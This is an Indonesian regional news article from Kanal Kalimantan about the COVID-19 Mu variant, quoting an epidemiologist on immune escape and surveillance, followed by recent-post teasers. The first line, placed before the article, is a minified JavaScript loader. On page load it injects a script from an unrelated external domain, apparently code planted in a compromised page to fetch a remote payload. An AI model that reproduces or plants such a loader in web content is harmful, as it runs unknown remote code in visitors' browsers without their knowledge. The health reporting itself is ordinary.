(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Varian Mu Sulit Dideteksi oleh Kekebalan Tubuh? Ini Pendapat Ahli Epidemiologi


KANALKALIMANTAN.COM, JAKARTA– Ancaman Covid-19 varian Mu membuat publik was-was. Sebab, beberapa pernyataan dari ahli menyebut varian Mu meski belum terdeteksi di Indonesia, berpotensi lebih berbahaya daripada varian Delta yang sudah mewabah.

Bahkan menurut ahli epidemiologi dari Universitas Andalas Defriman Djafri, varian Mu virus SARS-CoV-2 penyebab COVID-19 memiliki potensi untuk menghindari kekebalan tubuh.

“Varian ini memiliki mutasi yang memiliki potensi untuk menghindari kekebalan oleh infeksi atau vaksinasi sebelumnya,” kata Defriman, sebagaimana dilansir Antara.

Defriman yang juga Ketua Perhimpunan Ahli Epidemiologi Indonesia Cabang Provinsi Sumatera Barat menuturkan Badan Kesehatan Dunia (WHO) sedang memantau varian Mu.

 

Baca juga : HUT ke-4, Kanalkalimantan.com Hadir Menyatukan Semua!  

Ia menuturkan varian Mu pertama kali diidentifikasi di Kolombia dan sekarang setidaknya terdeteksi di 39 negara.

Menurut Defriman, hasil dari suatu kajian di Jepang mengatakan terdapat netralisasi yang tidak efektif dari varian Mu terhadap plasma konvalesen dan vaksin.

Ia menuturkan varian Mu masih tergolong variant of interest (VoI), dan ada kemungkinan untuk masuk ke Indonesia.

“Mobilitas terus berjalan pada saat pandemi, sangat memungkinkan varian ini bisa muncul jika protokol kesehatan masyarakat dan sistem surveilans yang tidak jeli dalam mendeteksi ini,” ujarnya.

 

Baca juga : Polisi Ungkap Temuan Mayat Pembunuhan di Sungai Malang

Defriman menuturkan upaya yang harus dilakukan pemerintah adalah meningkatkan kewaspadaan agar varian tersebut tidak masuk ke Indonesia. Selain itu, penerapan protokol kesehatan di tengah masyarakat juga harus ditingkatkan dan diawasi.

Penguatan sistem surveilans harus dilakukan, dan sampel saat ini juga harus segera secara berkala dianalisis melalui pengurutan keseluruhan genom (whole genome sequencing), agar cepat mendeteksi dan mengambil langkah-langkah pengendalian yang komprehensif.

Hingga sekarang ini, varian yang masuk daftar VoI adalah varian Eta, Iota, Kappa, Lambda dan Mu.

WHO mengklasifikasikan suatu varian virus SARS-CoV-2 sebagai VoI dengan kriteria yakni varian tersebut memiliki perubahan genetik yang diperkirakan atau diketahui mempengaruhi karakteristik virus seperti penularan, keparahan penyakit, pelepasan kekebalan, pelepasan diagnostik atau terapeutik.

 

Baca juga : Operasi Patuh Karantina BKP di Pelabuhan Trisakti, Temukan Kargo Produk Hewani Tanpa Dokumen

VoI juga diidentifikasi sebagai penyebab penularan komunitas yang signifikan atau beberapa kluster Covid-19, di banyak negara dengan prevalensi relatif yang meningkat bersamaan dengan peningkatan jumlah kasus dari waktu ke waktu, atau dampak epidemiologis nyata lainnya yang menunjukkan risiko yang muncul terhadap kesehatan masyarakat global. (antara/suara)

Editor: cell


Desy Arfianty

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

2 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

3 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

3 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

3 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

8 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

9 jam ago

This website uses cookies.